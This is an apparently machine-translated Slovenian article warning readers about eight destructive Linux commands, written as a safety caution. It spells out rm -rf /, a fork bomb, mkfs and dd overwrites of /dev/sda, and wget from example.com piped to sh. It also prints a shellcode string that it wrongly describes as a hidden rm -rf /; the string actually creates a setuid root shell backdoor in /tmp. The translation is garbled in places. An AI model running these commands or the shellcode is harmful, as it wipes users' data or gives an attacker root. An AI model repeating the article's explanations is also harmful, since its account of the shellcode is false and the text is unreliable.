Terminalski ukazi v Linuxu so precej destruktivni, če zaženete ukaz, bo uničil vaš sistem. Linux ne zahteva potrditve pri izvajanju katerega koli ukaza.
Če se naučite, kateri ukazi se ne smejo izvajati v Linuxu, pomaga zaščititi vaš sistem pri delu v Linuxu. Spodaj je 8 smrtonosnih ukazov, ki jih nikoli ne smete izvajati v Linuxu.

1. rm -rf / - izbriši vse
Ukaz rm -rf / bo izbrisal vse, vključno z datotekami na vašem trdem disku in datotekami v predstavnostnih napravah, povezanih z vašim računalnikom.
Za boljše razumevanje tega ukaza ga analizirajte na naslednji način:
- rm – Izbrišite naslednje datoteke.
- -rf – zažene rm (izbriše vse datoteke in mape v določeni mapi) in prisilno izbriše vse datoteke, ne da bi vas prej vprašal.
- / – Pove, da se rm (recimo rm) zažene v korenskem imeniku, vključno z vsemi datotekami v vašem računalniku.
Linux bo z veseljem sledil temu ukazu in izbrisal vse brez opozorila, zato bodite previdni pri uporabi tega ukaza.
Poleg tega se ukaz rm uporablja tudi na zelo nevarne načine. Na primer, rm –rf ~ bo izbrisal vse datoteke v domači mapi, rm -rf .* pa bo izbrisal vse vaše konfiguracijske datoteke.
2. Prikriti ukaz rm –rf /
Tukaj je delček kode po vsem spletu:
char esp[] __atribut__ ((section(".text") /* izdaja esp */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
To je v bistvu druga različica rm –rf / – izvedba tega ukaza bo prav tako izbrisala vse vaše datoteke, tako kot če zaženete rm –rf /.
3. :(){ :|: & };: – Vrsta uspešnice

Spodnja ukazna vrstica je videti zelo preprosta, vendar je njena funkcija dejansko zelo nevarna:
:(){ :|: & };:
Ta kratek ukaz bo sam ustvaril nove kopije. To pomeni, da bo sam postopek varnostnega kopiranja neprekinjen in bo hitro povzročil, da se vaš CPE in pomnilnik napolnita.
Prav tako lahko povzroči zamrznitev računalnika. V bistvu gre za napad z zavrnitvijo storitve (DoS).
4. mkfs.ext4 /dev/sda1 – Formati trdih diskov
Ukaz mkfs.ext4 /dev/sda1 je precej enostaven za razumevanje:
- mkfs.ext4 - ustvari datotečni sistem ext4 na naslednji napravi.
- /dev/sda1 - identificira prvo particijo na prvem trdem disku, ki je morda trdi disk v uporabi.
Združevanje teh dveh ukazov je enakovredno formatiranju pogona C: v sistemu Windows – izbrišite vse datoteke na prvi particiji in jih nadomestite z novim datotečnim sistemom.
Ta ukaz se lahko pojavi v številnih različnih formatih, na primer - mkfs.ext3 /dev/sdb2 bo formatiral drugo particijo na vašem drugem trdem disku z datotečnim sistemom ext3.
5. ukaz > /dev/sda - pisanje neposredno na trdi disk

Ukazna vrstica > /dev/sda - zaženite ukaz in izpišite rezultat tega ukaza neposredno na vaš prvi trdi disk, zapišite podatke neposredno na trdi disk in uničite vaš datotečni sistem.
- ukaz – Izvedite ukaz (lahko kateri koli ukaz).
- > – pošlje izhod ukaza na naslednjo lokacijo.
- /dev/sda – Zapišite izhod ukaza neposredno na trdi disk.
6. dd if=/dev/random of=/dev/sda – zapiše neumne podatke na trdi disk
Vrstica dd if=/dev/random of=/dev/sda bo izbrisala podatke na enem od vaših trdih diskov.
- dd – je izvajanje nizkonivojskega kopiranja z ene lokacije na drugo.
- if=/dev/random – uporabite /dev/random kot vhod – morda boste videli naslove, kot je /dev/zero.
- of=/dev/sda – izhod na prvi trdi disk, zamenjava datotečnega sistema z naključnimi neumnimi podatki.
7. mv ~ /dev/null – premaknite domači imenik v črno luknjo
/dev/null - premikanje nečesa v /dev/null je enako kot uničenje. Predstavljajte si /dev/null kot črno luknjo. mv ~ /dev/null bo poslal vse vaše osebne datoteke v črno luknjo.
- mv – premaknite naslednjo datoteko ali mapo na drugo lokacijo.
- ~ – Vaša celotna domača mapa.
- /dev/null – premaknite domačo mapo v /dev/null, uničilo bo vse vaše datoteke in izbrisalo originalne kopije.
8. wget http://example.com/something -O – | sh – naloži in zaženi skript
Zgornji ukaz bo prenesel skript iz spleta in poslal skript sh, ki bo izvedel vsebino skripta. To je lahko nevarno, če niste prepričani, kaj je skript, ali če nimate zaupanja vrednega vira skriptov – ne izvajajte nezaupljivih skriptov.
wget – prenesite datoteko.
http://example.com/something – prenesite datoteke s te lokacije.
| – Prenesite (pošljite) izhod ukaza wget (prenesena datoteka različice) neposredno v drug ukaz.
sh – pošlji datoteko v ukaz sh.
Glejte še nekaj spodnjih člankov:
Zabavati se!